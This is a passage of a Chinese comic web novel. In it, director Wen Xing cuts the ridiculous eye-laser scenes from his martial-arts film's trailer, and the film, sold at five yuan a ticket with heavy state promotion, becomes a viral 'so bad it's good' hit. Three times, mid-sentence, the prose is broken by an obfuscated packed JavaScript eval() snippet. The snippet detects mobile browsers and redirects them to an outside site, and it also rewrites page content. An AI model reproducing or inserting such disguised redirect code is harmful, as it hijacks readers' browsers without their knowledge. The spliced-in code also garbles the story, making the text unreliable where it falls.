此时，屏幕上的画面正好切到男主用激光扫过一圈敌人的场景。陈继广看着，也觉得有点离谱：“呵呵，这个，说不定会有人感兴趣呢……” “……” 负责剪宣传片的负责人也出来抗议了：“原片就是这样的，我们也实在没有办法啊！” 温行：“我觉得吧，不管怎么说我们得把观众先骗进电影院里……” 只要进了场，那就可以贡献观看量嘛。 他沉思片刻，有了灵感：“我有办法了！要不这样，让我剪一版试试……” 征得负责人的同意后，温行指挥着工作人员们，重新剪了一版预告片。虽然说是重新剪，但基本上就是在刚才的基础上去掉了几个镜头，所以剪的很快。 剪完之后，一群人又围在大屏幕前面重新看了一遍。 前面的内容都一模一样，正当陈继广疑惑这究竟有什么区别的时候，就见片子已经播放到了男主被一圈敌人围起来的场景。 下一秒，镜头突然跳到了打斗结束之后，只见一群敌人已经统统倒在了地上，男主站在中央，轻描淡写地掸了掸衣角。 陈继广目瞪口呆：“……这也行？” 温行的“办法”就是，直接剪掉所有关于激光的镜头。虽然有点不要脸，但不得不说，这么一修剪，这宣传片看起来居然正常了不少。 杨浩波同样目瞪口呆：“……温行，这么欺骗观众真的好吗？” 温行：“胡说什么呢，我这是蒙太奇手法^_^” 杨浩波：“……” 杨浩波：“你这根本就是诈骗吧！到时候进了电影院的观众，不得把咱们骂死吗？” 温行：“难道用了第一版宣传片，我们就不会被骂了吗？” 杨浩波：“……” 还真是令人无法反驳啊。 于是最后，温行的提议以压倒性的票数获得了胜利。 12.开始宣发 秉持着“不管诈不诈骗总之先把观众哄进电影院”的方针，相关人员又重新剪了一版预告片。不得不说，思路打开之后，剪起来还是很容易的，毕竟里面有这么多的老戏骨，服化道和场景也都是大手笔。 剪完之后，温行又看了一遍，看完之后不由得开始担心了。虽然是他提出来的建议，但是他也没想到最后效果这么好啊，就连他这个导演都有点恍惚，产生了一种“难道我拍的真的是部好电影吗”的错觉…… 不过现在骑虎难下，想反悔也晚了，预告片就这么定了下来，剩下的就是具体该怎么宣发了。 宣发这件事本应是由宣传部门全权负责的，但由于这件事的情况特殊，温行和陈继广也一同参加了会议。 鉴于预告片的前车之鉴，温行这次下定决心，一定不要再瞎提什么建议了，保持安静就好。 然而会议室里的几位领导你一言我一语，短短几分钟内，温行就捕捉到了好几个关键词，什么“全国推送”，“官方号”，“电视新闻”，“导演协会联名推荐”…… 温行感觉自己的额头上开始冒汗了。 眼看几位领导们讨论得热火朝天，他赶紧插话：“各位领导，我有些话想讲……” 一时间，会议室安静下来，所有目光都看向了他。温行：“这些宣传手段，会不会都太过了一点……” “有吗？”领导看起来有点摸不着头脑，“我们刚才提到的，都是一些常规的宣传手段啊。” 温行：“……” 是啊，他忘了，对于国家来说，这些确实都只是“常规手段”。 但是他肯定不会让这些“常规手段”用在这部电影上的，毕竟被捧得越高，摔得也就越惨，到时候可真就是一场灾难了： “各位领导，虽然这些都是常规的宣传手段，但用在一部普通的电影上还是不太合适……” “但这也不是部普通的电影啊……”一位领导正想反驳，突然陷入了沉思，像是领会到了什么，“你的意思是说，要把它当作一部普通的电影对待吗？对了，从国家层面上讲，对幕后真相保密也是重要的一环……” “我明白了，谢谢你的提醒啊小温！我们这样确实太过高调了，容易引起怀疑。” 面对着领导恍然大悟的感激眼神，温行赶紧擦了擦额头上的汗：“对对对，我就是这个意思。” 领导用眼神鼓励他：“那你还有什么别的想法吗，不要拘束，都可以说嘛。” 温行：“这个嘛……首先，我们最好是低调一点，符合一部正常的电影的宣发逻辑就行了。其次，宣传语也不要太夸大其词，不然等观众进了电影院，可能会大失所望，引起不满，毕竟我们这个电影拍的实在是……呃……” 领导：“那你这么说，肯定是想到了什么好点子了吧？” 温行：“这个嘛，我想也许我们可以换个角度思考问题，比如说，呃……可以不从电影本身的角度宣传，选取一些其他的角度……” 其实他哪有什么想好的点子，纯粹是想到哪句编哪句，然而顶着领导期待的目光，还得硬着头皮继续瞎编—— “至于是什么其他的角度呢……呃，这个这个……对了，也不是所有人都会关注电影质量的嘛，我们就可以以这个为出发点，对了！” 别说，硬着头皮编着编着，灵感还真就冒出来了。 温行：“我提议，可以使用价格补贴的方式来宣传这部电影！” 在场的其他几个人看起来都有点一头雾水，温行环顾了一下四周，突然想起来在座的只有自己一个穷人会把关注点放在这种事情上…… 虽然是病急乱投医想出来的点子，但细细一琢磨，离谱中居然还带着一丝可行。于是温行沿着自己的思路，继续解释道： “根据我的身边统计学，其实很多人进电影院压根不在乎究竟要看什么。比如说，进电影院谈恋爱的小情侣；带孩子出门的家长；甚至在电影院里蹭两个小时空调的老头老太太们。对于这种人来说，什么样的电影是最有诱惑力的呢？那肯定是票钱便宜的啊！比如说，我们可以把票钱定到5元一张，再附赠一套饮料爆米花套餐，对，这样还可以大大降低观众对不满……” 毕竟，群众一向是对实惠的东西非常宽容的，比如说著名的某炸鸡店，即使吃窜了也只会说是自己肠胃不够耐受…… 一张动辄四、五十的电影票可能会让人想要挑剔，但如果一张五块还附赠饮料爆米花两小时冷气——那还要什么自行车？ 温行环顾四周，发现几位领导都露出了若有所思的赞同神色，这才松了口气。 ——总算是忽悠过去了！ 正好快到午饭时间了，会议也暂停了等下午再继续。自觉化解了一场宣发灾难的温行，怀着轻松的心情享受了一顿食堂的午饭。 别说，不愧是国家机构，就连食堂的水平都这么高，比他平时下的馆子都丰盛了。 一顿饭吃得温行意犹未尽满嘴流油，正当他擦着嘴往会议室走的时候，突然在门口看到了一个意料之外的熟人——可不就是那位许久未见的队长嘛。 “喻逸明！”温行兴高采烈地和他打了个招呼，笑容突然僵在了脸上。 对了，如果喻逸明已经回来了的话，那位和他一起去参加演习的陈指挥，岂不是也回来了…… 想到陈指挥上次的“光辉事迹”，温行的表情又僵了两个度。 不是吧，早不回来晚不回来，怎么偏偏赶上这个关键节点…… 果然，他刚走到会议室门口，就听到陈指挥中气十足的喊声：“我不管，不方便宣传那就不宣传啊，强制性把人关进电影院不就行了——” 温行的额头上立马又开始冒起汗了。 好在其他领导也觉得这太离谱了，不知道哪个领导赶紧低声劝道：“老陈，你你你、你冷静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16798124|190600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷静，我们是正规国家机构，不能带头犯法……” 温行赶紧回头对喻逸明说：“这怎么回事，你不帮忙劝劝陈指挥吗？” 不料喻逸明沉思片刻，脸上居然露出一个堪称坚决的表情：“其实吧，我觉得陈指挥的建议也不是不行……” 温行：？？？ 怎么回事，你这孩子原本还好端端的，出去了一趟怎么就变成这样了？ …… 时间回到今天上午，就在温行正在会议室里侃侃而谈，说服各方领导的时候，喻逸明和陈指挥刚结束了军事演习，坐在回来的飞机上，不约而同地面色扭曲，咬牙切齿。 “欺人太甚，实在是欺人太甚！” “可恶的鹰国佬，不就是让他们赢了一次么，猖狂什么，等你的异能二度进化之后，回头锤爆这群***……” 是的，在这次异能国际演习中，一向稳居第一的蓝国居然输给了鹰国，只拿到了第二。 更令人憋屈的是，这次不管是陈指挥的指导还是队员们的配合都没有出现失误，纯粹是被鹰国那个突然冒出来的S级异能者杀了个措手不及——那个异能者是潜伏刺客类的异能，好几名队员甚至还没摸清他的异能是什么，就被淘汰出局了。 这也就罢了，毕竟一局的输赢算不得什么，偏偏那个叫做亚历克的S级异能者，演习结束后还趾高气昂地跑到蓝国队伍这边来挑衅了：“你们的指挥是谁？水平也很一般嘛。” 本来就憋屈着的陈指挥立刻炸了：“我*！你个****！”怒吼着就扑上去了。 喻逸明赶紧拦他，就在这时候，亚历克又转头补刀：“喻，听说你就是蓝国新一代的最强异能者？啧——” 虽然一个字没说，但那个意味深长的“啧”，以及伴随着的上下扫视的目光已经表达出了一切。 顿时，喻逸明不再拦陈指挥了，不仅如此，他自己也扑上去了。 ……如果不是其余几个尚存理智的队员拦下了他们，异能演习的赛场上就将发生第一起演习结束后殴打对方成员的事故了。 …… 当然，温行是不知道这些事的。他只知道，作为宣发负责人的陈指挥回来了，还是怒气max的陈指挥…… 他的电影要完蛋啦，哈哈！ * 接下来几天，温行就生无可恋地待在会议室里，看着各个领导大吵特吵。不，准确地说是陈指挥一人单挑其他领导…… 你问温行本人在干什么？笑死，当然是在安静地当个摆设啊，他可没有胆量和这个怒气满点的陈指挥对上。 吵了将近一周，最后总算是吵出了一个不伦不类的版本，不过，这已经是双方妥协过的结果了。 总之就是在“不违反国家法律法规”、“不违背常识”的基础上，由陈指挥增加了那么亿点点的宣传力度…… 《长风断剑》的宣发，就这么正式开始了。 13.反向毒奶 于是，蓝国观众们的第一反应是——这《长风断剑》究竟是何方神圣，怎么一下子感觉哪哪都能看到它？ 打开手机刷刷新闻，就看到首页铺天盖地都是这部电影的讯息。大部分人的第一反应都是：又是营销号啊，无视，拉黑——等等，官方号是什么鬼？ 很多电影宣传期间都会请很多水军和营销号的，但是哪有这样子的水军和营销号啊，那些可都是正正经经的官号，然而这些账号就像突然被盗号了似的，不约而同地开始……给一部电影做宣传？ 深受震撼的网友们刚关掉手机打开电视，打算看看新闻缓一会儿，就发现，早间新闻里也出现了这部电影的名字。 如果说是关系户拍的电影，这关系也有点太硬了吧……等等，价格补贴又是啥，什么时候电影也有国补了？ 震撼的信息一个接着一个，惊得人目瞪口呆，虽然根据报道，是国家要推进一个电影补贴的新政策，而这部电影刚好作为了试点项目，但这阵仗也太大了点……一时间，《长风断剑》的讨论度达到了前所未有的高度。 而且，即使不同群体偏重点不同，也不是所有人都对电影或者国家政策感冒，但只有一点，是所有人都会不约而同关注的——电影票五元一张附赠爆米花饮料套餐，全国统一。 毕竟贪便宜的本能，是不管男女老少都刻在基因里的，更何况这价格也确实太便宜了，现在的物价，就连爆米花都得十几块钱了…… 不由得让人怀疑，这个价格电影院真的不会亏本吗？ 这样实惠的价格，立刻就让人产生了一种“便宜不占白不占”的想法，哪怕是坐在那吹着空调吃爆米花也不亏啊！ …… 李老太太就是其中一位，在知道这个消息之后，立刻兴致勃勃地怂恿老伴，等电影上映的时候一起去看。 老伴平时其实一直对她排长队领免费鸡蛋，在超市蹲点等打折等等行为颇有微词，这次却一点牢骚没发，爽快地同意了。 平时两人舍不得买几十块钱的电影票，所以就只能去看社区每周在小区广场上公放的电影。夏天的户外又闷又热，蚊子还多，站两个小时回来，腿上全是蚊子包。 只花十块钱就能舒舒服服坐在电影院里看一场电影，实在是太划算了！ …… 王月是个大学生，平时压根不看电影，但这次也在社媒上刷到过很多次这部电影了。不过——虽然她不爱看电影，但她和室友都挺爱吃爆米花和可乐的。所以室友干脆和她商量道：“哎，电影院不就在学校旁边么？到时候我们干脆顺路买个爆米花好了。” 王月有点震惊：“就买爆米花，不去看电影吗，这样也行？” “对啊！”室友理直气壮，“反正就算只有爆米花和饮料，也是划算的啊，又不是买了票就一定要看的。” 王月点点头答应了，不过转念又一想，票都买了，高低得进去瞅一眼吧！反正到时候没什么事情，顺便进去看一看好了。 …… 和他们一样，对电影不怎么感兴趣却被价格吸引了的人群，不在少数。 甚至网上已经流传出了一条梗——什么五块钱的电影票，明明是五块钱的爆米花套餐还附赠一场电影！ * 另外一边，相比起这一大批关注价格的人，还有一小波人，他们的关注点则在那个仅有几分钟的先导预告片上面。 这一小波人，正是蓝国的武打片爱好者。 是的，虽然蓝国的武打片式微已久，但民间其实还是存在着很多爱好者的，它在荧幕上的消失有着多方面的复杂因素。不过，对于这些爱好者们来说，结果就是——近十年来压根没有什么合格的片子可看，只能反复回味几十年前，甚至更早的经典老电影。就算偶尔有这类题材的电影或者电视剧，也只是披皮的恋爱故事而已，服化道粗制滥造，逻辑bug众多，根本不是一部合格的武打电影。 而当这一批观众看到预告片的第一反应就是——有点东西啊。 即使以挑剔的眼光看过去，这个预告片也没什么大问题。别看只是“没什么大问题”，一部质量合格的武打片对于这群爱好者来说已经很难得了。更不用说，预告片里还出现了不少熟面孔，都是演技过硬的老演员，其中更有不少是年轻时候就拍过武打片的，看着就让人觉得安心。 自然，有不少看到预告片对电影本身感兴趣的人，开始搜索这部电影的相关资料。 这么一搜，他们就惊呆了。 没有点映也没有首映，直接全国公映？ 要知道一般的电影都是要先经过影展点映和首映礼之类的环节的，用知名影评人和明星的评价来作为宣传。第一次上映就是全国公映，不知道的还以为是电影内容涉及什么国家机密呢。 这也就算了，怎么连成员都要保密的？ 是的，这一批观众很容易就注意到了预告片里的一大堆老熟人，然而顺着摸到他们的个人账号之后，却发现演员们的账号，不约而同像是死了一样的沉默…… 别说是一般电影会有的拍摄花絮、剧组互动了，就连公事公办的宣传都没有一个。开始怀疑自己是不是看花眼认错人了的观众翻出了剧组的主创人员名单表—— 然后他们就差点喷了。 导演：温行 领衔主演：匿名 主演：匿名匿名 特别出演：匿名 友情出演：匿名匿名 编剧：匿名 制片人：匿名 监制：匿名 …… 不是，这什么鬼，全员匿名，除了导演？ 下方的一排排整齐的匿名，正和最上面的“导演：温行”形成了滑稽的对比。 于是，紧跟着热搜【国家补贴五块钱爆米花套餐】一同上了榜的，是另一条热搜：【长风断剑剧组全员匿名】。 由于太有节目效果，这张主创人员名单立刻就在网上被转发了很多次，又多了一大批玩梗的人，和一堆找到演员们账号下询问的好事者。当然，所有演员还是一如既往地沉默着…… …… 不管网络上如何纷纷扬扬，最后的结果是，所有人发现，这部电影除了那个几分钟的预告片之外，居然一点信息也没有释放出来。于是这群欲求不满的爱好者们，只好回去把预告片扒了一遍又一遍。 【主演看着有点面生啊，是新演员吗】 【毕震上次拍武打片都是十五年前了吧，有点怀念啊……】 【big胆，毕震哪里出演了，那明明是和他长得很像的匿名人士】 【分析贴关于这部电影的服化道有多么考究，以及通过服化道细节判断出的时代背景】 【分析贴预告片中出现的伏笔，和对剧情走向的可能性推断】 只能说，再怎样的预告片也经不起这样逐帧细扒，粗制滥造的片子是这样的，好片子也是这样的…… 温行自从预告片放出去之后就一直焦虑地刷着手机，看着各平台首页上冒出来的越来越多的分析贴和视频，他傻眼了。 这和想象中的不太对啊……不是，就一个几分钟的片子你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802568|190600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们怎么分析出这么多东西的。 关键是，这些分析还向着往事实相反的方向一路狂奔了！ 温行开始后悔了，自己为什么当初要砸钱请这么多好演员，和这么讲究的场景服化道。 还有那个诈骗观众的提议，这些都变成了他给现在的自己挖的坑…… 就在这时候，温行突然刷到了一条视频，标题赫然写着： 【我打赌，这将是近十年来最好的武打片，没有之一！】 “噗——咳咳咳咳咳” 温行结结实实地被呛住了。 * 【黎南说电影】是个c站上的小电影up主。做电影分析的初衷自然是出于爱好，当然除此之外能有点关注度和流量就更好了。 不过电影分析这个赛道实在是太卷了，他做了几年，数据一直不温不火的。长风断剑的预告出来之后，作为观影up主他第一时间就关注到了，一方面他本来就喜欢武打片，看过不少经典老电影，另一方面这可是现在电影圈的最热门话题。 作为一个up主，这个热点他肯定是要蹭的，然而怎么蹭也是个问题，别看现在这个话题很火，但因为与此同时一些大up主大博主都下场了，讨论度全在他们那边，他作为一个小up主，肯定不能再和那些人做重复的内容了。 把那个预告片反复看了几十遍之后，他心中产生了一个大胆的主意：不如就直接剑走偏锋，先把这部电影狠狠地夸一遍！ 在电影还没上映的时候，大up们都是偏保守的，只是谈谈当前的热门话题或者对着预告片的细节做一些分析。这也可以理解，话说太早容易翻车。但对于他来说却是个难能可贵的机会。 当然，他产生这个想法也不是纯赌博，而是将预告片细细看过之后的选择。作为一个爱好者他是有鉴赏能力的，这个片子虽然很短，但是运镜、光影、服饰都特别舒服考究，让他想起了几十年前那个神仙打架的时代。虽然预告片不能代表正片，还有很多剧情、细节之类的东西预告片里体现不出来，但是他相信，能拍出这么一个预告片的剧组肯定不是草台班子，再怎么说，正片能有合格的质量就足够了。 对于现在渴望看到新鲜血液的武打片爱好者们来说，只要有部合格的片子，就可以在滤镜作用下夸到天上去。 至于不参加点映、剧组全员匿名等等细节，也能得到很好的解释，肯定是导演对自己的正片质量充满信心，认为要摒弃专业观影人、演员名望之类的外界影响，仅仅靠片子的质量来打动观众。 这么一想，他觉得稳赢无疑了。只要他们不在正片搞什么幺蛾子，就肯定没问题！ 所以他综合网上的种种分析贴，发了这么一个大胆的视频。不过看着语气坚决，其实也是藏着自己的小心思的。标题写了“近十年最好的”，但近十年蓝国压根就没有什么像样的武打片，可以说根本没有输的空间。到时候就算这部电影不尽人意他也可以这么辩解嘛，可进可退。 视频发布不久，他正满意地看着后台刷刷涨的播放和点赞，突然收到了一条新的私信。 【你好，其实这部电影吧……可能没有你分析中的这么好。毕竟最后呈现还是要看正片的嘛。在正片发布之前，要不……还是不要这么预言了吧……】 当然，这个视频肯定会遇到很多质疑声的。但他对此充满了信心： 【没关系，我相信自己的分析，这会是部好电影的！】 此时，手机另一头的温行：“……” 怎么这么不听劝啊！ 14.上映 温行努力地劝了一会儿，然后发现自己的劝告好像只起到了反效果，越这么说，对方越坚定地认为这肯定是部好电影。 他又不敢暴露自己的导演身份，最后只好放弃了，眼睁睁地看着那条毒奶视频，播放量以一种一骑绝尘的速度越来越高…… 他本来应该高兴的，这么高的播放量肯定又能带来一波票房。但他毕竟不是陈指挥，所以怎么也高兴不起来。 在这样的情况下，《长风断剑》正式进入了全国公映。 * 全国公映是统一的晚间时间段，而且在同一时间段内，电影院里的排片基本上只有这一部电影。可以说，国家为了首批放映量也是费尽了苦心。 就像之前约定好的那样，王月和室友来电影院买了爆米花，又在她的提议下进了放映厅。反正就是去看个热闹嘛！ 进了放映厅，王月本来以为排片这么多，场地内的人会很少，但出乎她意料的，里面基本都坐满了。有带着小孩看电影的一家三口，有手牵手的老爷爷老奶奶，有和她一样的年轻学生。看得出来这个定价和之前的宣传方式确实很吸引眼球，有不少人都慕名而来了。 另外一边，黎南，也就是“黎南说电影”的up主本人，也走进了放映厅。这部电影的公映他肯定是第一时间要来看的。相比起王月的轻松随意，他的神情就要紧张了很多。他可是把赌注全都压在这部电影上了。 就在这时候，放映厅的灯光“刷”地暗了下来，电影正式开始了。 …… 电影放映三十分钟后，王月的手机亮了一下，是闺蜜发来的消息，问这部电影怎么样，她想了想，感觉到目前为止的内容还挺不错的。她也不懂什么电影，就是觉得一路打打杀杀武斗智斗看着很爽，虽然主演有点面瘫，但是身材很好啊！ 于是她就这么如实反馈给闺蜜了，还说之后看到什么有意思的情节再转告给她。 王月不是专业影评人，所以她对电影的评价就是一个词“好看”，但是另外一边黎南的关注点就多很多了，服饰、运镜、台词、情节、打斗……一边看，还一边时不时在手机上记录一下感受。电影开场三十分钟，他的心情已经逐渐从紧张中放松下来了，在手机上写： “开头定调定得很好，各个部分都没有短板，后续稳住应该就行了。” 犹豫了一下，又补充了一句：“主演演技有点业余……但是也不算太大的问题。” 就在这个时候，电影进入了开场之后的第一个大情节，也就是主角在经历一系列挫折和自我怀疑之后，终于龙场悟道。根据预告片，主角应该就是在此悟出了一门神秘的功法，之后凭借这门功法神挡杀神佛挡杀佛，一路杀到了大结局。 大概是为了营造一些神秘感吧，预告片专门把功法相关的所有镜头都剪掉了。虽然很多爱好者已经逐帧分析讨论过了，但还是没能讨论出有那样效力的究竟是什么样的一种武功。所以和其他的爱好者一样，黎南对此也感到很好奇。 镜头转到男主悟道成功的那一刻，他站了起来，背手面对着镜头。 不知道为什么，黎南突然发现，自己好像看到男主，不，准确地说饰演男主的演员，嘴角无法克制地抽搐了一下，简直像在拼尽全力地控制脸部肌肉，保证不要笑场。 下一秒，他就看着一道半米长、两米宽的大红色激光从屏幕中扫过，耀眼的光芒占据整个屏幕，差点闪瞎了他的眼睛。 啊？？？ 刚才发生什么了？那是什么东西“嗖”地一声就射出去了？ 就像是为了让他和其他观众明明白白、毫无疑问地看清楚一样，电影立刻又切了好几个镜头，正面、侧面、上方，三百六十度无死角地展现出…… 一道激光从男主角眼中射出来的场景。 黎南的手机“哐”地一声掉在了地上。 不过在场的观众已经没有人在乎他手机掉下去发出的响动了，因为周围的人喷水的喷水，喷爆米花的喷爆米花，掉东西的掉东西，压根就没有人注意到一个平平无奇的他。 黎南：“……” 不是，这是什么玩意儿？导演是突然中邪了吗？ 一时间，他不知是该相信自己和全场观众出现幻觉了，还是该相信这么一个大制作的武打电影里，加了个动画片一样的激光特效…… 怀抱着这种不信邪的想法，他又继续看了下去。 然后，他就看到男主角用激光打倒了，呃不是，射倒了追上来的男二。 男主向周围扫视一圈，几十个围着他的武功高手应声倒地。 男主用激光在地上划出一条鸿沟，把追兵拦在了对面。 男主用激光射塌了一座小楼，敌人全都埋在了废墟下。 黎南：“……&*%？” 他就这么眼睁睁地看着一个好端端的武打片向着魔幻片的方向一去不复返，一直到了最后的大结局—— 男主眼睛激光射出，远处一座山头应声飞起，那座山头以一种不符合牛顿定律的角度和速度飞到了他们上空，然后落下来把男主面前的大反派小反派炮灰反派……一齐砸死了。 眼看着“全片终”的字样缓缓浮现，黎南终于释怀地笑了。 哈。哈。 他从地上捡起掉下的手机，没错，从电影开场半个小时之后他就没再往上面记录了，总而言之也没有这个必要了吧。 他本来打算得很好，如果这部电影效果不错，他就接着上个视频继续夸，如果效果不尽如人意呢那也不要紧，承认自己之前的分析有所不足，再重新做一个分析，反思一下这部电影为什么最终不好看，又是哪里和预告片出现了偏差。 他也没有想到，这部电影偏偏在“好片”和“烂片”两个选项中间，选择了C，钝角。 导演你究竟在干什么啊！放飞自我也不是这么个放飞法啊！ 片尾曲已经放完了，屏幕上全是匿名的演职员表也滚动完了，然而，电影现场还是一片沉寂，大概都是像他这样，恍恍惚惚回不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807082|190600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神的人们。 黎南突然想到，一般来说人们在放演职员表时还留在放映厅里，都是在自发地致敬好电影和它背后的主创人员。当然了，现在这何尝不算是另一种致敬…… 就在他从影厅往外走的时候，听到一个年轻女孩正在和朋友打电话： “这部电影怎么样啊……嗯……不是不是，电影很好看，真的！我刚才是一时失语，没想到怎么形容它的好，你一定也要来看看啊！” 这个年轻女孩自然是给闺蜜打电话的王月，当然黎南是不认识她的，但这不影响他露出了一个赞许的微笑。 是啊，如此神片，真应该让所有人都来看看啊！ 他打开自己的c站账号，此刻他已经完全不在乎流量、评论之类的了，内心只有纯粹的报社欲望。于是他在自己上一条视频下面，又发了一条置顶评论： 【兄弟们，up刚从电影院出来了，刚替大家尝过了，这绝对是一部非常独特的电影，非常推荐大家去看！】 不管了，能骗一个是一个！ 在网上，像黎南和王月这样“自己淋了雨就要想方设法把别人的伞撕了”的人还真不在少数，到最后，甚至成了一种心照不宣的梗。 总之这是部独特到前无古人后无来者的电影，具体是怎么前无古人后无来者的你先别管，反正进电影院看就对了。 就在他们的忽悠下，竟然还真有一批不知情的观众又去看了，随着第二批观众上当后的大呼小叫，这部电影的内容也瞒不住了，与此同时还多了个热搜【长风断剑你们的嘴都好严实啊！】 …… 另外一边，温行自电影公映的那一天起，就毫不犹豫地给自己断了网，屏蔽了所有社交媒体。 他心态很好，哎你们想骂就骂呗，反正我不听我不听。 第一天的公映很快结束了，票房七千五百万，这个票房是根据5元的售价计算的，换成正常票房的话差不多相当于五亿票房的观看量。这个量在一般电影中算是火爆水平，而这部电影由于国家的大力支持和宣发，以及对正片内容的严格保密，第一天有这个放映量算是预料之中。当然，根据国家宣发团队的预估，第一天过后，放映量应该就会断崖式下跌了。 温行也密切关注着票房数据。第二天，票房四千三百万。 这让他稍微松了口气，从私心讲他肯定是希望这电影被所有人遗忘的，越快越好。但是松的不多，虽然票房是跌了但是远没有预估中跌得那么多啊，怎么还有这么多人愿意去看他的烂片的？ 这还不算完，第三天，票房五千二百万，第四天，票房六千七百万，到了第五天，票房居然已经回升到超过了第一天！ 啊？？？ 不仅是温行本人，就连国家负责宣发和票房预估的相关人员也一脸懵逼，唯一一个喜上眉梢的是陈指挥，已经拉着喻逸明提前喝庆功酒去了。 终于后知后觉想到问题肯定出在网络舆论上的温行，时隔五天，第一次打开了自己的社媒软件。 15.反响 在温行不知道的这五天内，《长风断剑》已经在网络上火到了一个无人不知无人不晓的地步。 这就是他和宣发人员没有想到过的了，在他们的预估中，这么一部烂片在上映后，应该由于反响不好而很快失去票房。 是的，大部分平庸的烂片，最终会沦为这个命运。 ——但如果是一部不平庸的烂片，那就另当别论了。 毕竟观众厌恶的更多的是无聊，而如果一部烂片烂得史无前例，烂得出人意料，烂得登峰造极…… 那他们可就要看看怎么个事了。 就像之前电影界也有电影《户外》，其导演凭借这一部水准无可比拟的烂片赚得盆满钵满，这部电影上映十几年后的今天，还在不断地在各大电影院里重映，积累了一批会往屏幕上扔棒球和爆米花的忠实影迷。 再比如那部和它烂得不相上下的《风卷鲨》，凭借其超高的人气，一直出到了第六部，知名程度超过了很多同类型的灾难大片…… 《长风断剑》也是这样，就像首映的时候大部分观众虽然知道了它是部烂片，但还是一直看到了结尾一样。人都是有逆反心理的，我就偏不信邪了，看看你这部电影后面还能再整出什么活来。 而现在的网络也发达了不少，网友们的玩梗速度，让这部片子的“人气”相比上述几部十几年前的古早烂片，更上了一层楼。随着长风断剑的不断放映，越来越多的内容流出，男主那张“你敢和我对视一秒吗”的gif表情包已经在网上传疯了。 就像常话说的那样，黑红也是红，这么算的话，《长风断剑》就是今年影视圈当之无愧的顶流了。 虽然这不是温行和其他制作人员的本意，但这部电影最后呈现出来的就是从头到尾都实在是太有节目效果了，这种节目效果属于是一般喜剧片导演拼尽全力无法做到的，而他们轻松达成，这何尝不算是一种天赋啊！ 这种节目效果很大一定程度上是因为，能看得出剧组是在认真拍电影的，它不是一种粗制滥造或者敷衍了事的烂，而像是原本在好好拍戏，剧组全员突然被绑架或者夺舍了一样的烂。这种浑然天成的认真对比最后的呈现，呈现出了一种非常滑稽的效果。 在电影上映后，放映前针对宣传片的各种分析贴又被翻了出来，甚至，还多了一大堆针对正片的分析。 乍一听可能有点无厘头，一部烂片有什么值得分析的。然而，一群怒气冲冲的爱好者在看过正片后，不得不绝望地承认，这部影片除了某个武功之外的内容，都好的无可挑剔。 论服化道和场景，细节到位非常有真实感；论运镜和剪辑，一看就是大手笔无可挑剔；论剧本，看得出是精心设计逻辑缜密的，即使在这么离谱的情况下，也能前后呼应圆起来；论表演，全员大牌老戏骨，虽然后半场是有那么点笑崩了的趋势吧…… 都怪这五毛钱特效一样的激光，毁了整部影片！ ——结果还没几个小时，又有别的电影爱好者扒出，就连这激光其实也不是五毛钱特效！ 【分析贴话说我感觉这个特效有点眼熟啊，不会是我想的那样吧】 【lz：我平时看特效大片比较多，这个特效虽然看起来夸张但是精细程度又诡异的很高，你别看它看起来廉价，但是不管是真实感，还是物理引擎，都超出很多普通的特效啊】 【2l：我不说，楼下说】 【3l：我也不说，楼下说】 【4l：唉，又疯了一个，没关系孩子，在长风断剑论坛，你的精神状态还在平均水平】 【5l：都散了吧，lz不是明显在搞抽象嘛】 【lz：不是，我是认真的，你们能不能别笑啊！我刚才又仔细对比了一下，业内能做出这种效果的好像只有凝光映画，还是他们最新最贵的技术，如果是的话那可是一秒千金啊，真真正正地在烧钱】 一开始，这个帖子底下当然都是嘲笑的，就连楼主的话也被网友们当成是开玩笑，没人认真注意。毕竟乍一眼看上去，那个特效实在是太离谱太夸张了，就算是一般的特效片，也不会用这么烂的特效啊。 然而，随着证据的不断出现，和越来越多的爱好者扒出的证据，这群嘲笑的网友也沉默了。 原来是真的啊？！业内的顶级特效公司、一秒千金的昂贵特效，被你们用来做这玩意？？？ 你是钱多了没处烧吗？ 甚至由于整件事情都太过离谱，还出现了“烂片系统说”和“舍身取义说”等等猜想。 前者是说这个叫温行的导演身上肯定绑定了烂片系统，不拍烂片就要狠狠电击他的那种。后者则是说温行其实是一个舍身取义的武打片狂热爱好者，他知道现在武打片受众已经越来越小，即使拍一部好片子也不一定能火，所以干脆另辟蹊径，以这样的方式让武打片走进大众的视野里…… 这么一解释，还真有种“原来如此”的感觉，他真的，我们哭死…… 虽然这些离谱的解释肯定是没有人真相信的，但却作为网上的一个热梗被传的无人不知无人不晓，连同一大群跟风网友的玩梗和取笑，使得这部电影的热度，竟然还阴差阳错地又上了一个档次…… 于是温行时隔五天打开社媒软件的时候，跳出来的第一条热搜是： 